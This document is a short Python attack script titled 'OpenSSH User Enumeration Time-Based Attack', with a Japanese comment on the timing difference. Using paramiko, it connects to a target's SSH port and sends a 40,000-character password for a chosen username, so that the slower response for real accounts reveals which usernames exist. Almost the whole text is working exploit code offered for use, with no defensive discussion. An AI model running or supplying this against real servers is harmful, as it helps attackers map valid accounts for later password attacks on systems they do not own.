OpenSSH User Enumeration Time-Based Attack

osueta.py

#!/usr/bin/python
# coding: UTF-8

# OpenSSH User Enumeration Time-Based Attack
# https://cureblog.de/2013/07/openssh-user-enumeration-time-based-attack/

# 存在するユーザの場合は数十秒、存在しないユーザならば数秒で終わるため判定可能

import sys
import socket
import paramiko

hostname = sys.argv[1]
user = sys.argv[2]

s = socket.create_connection((hostname, 22))
t = paramiko.Transport(s)
t.connect(username = user)
t.auth_password(user,'A' * 40000)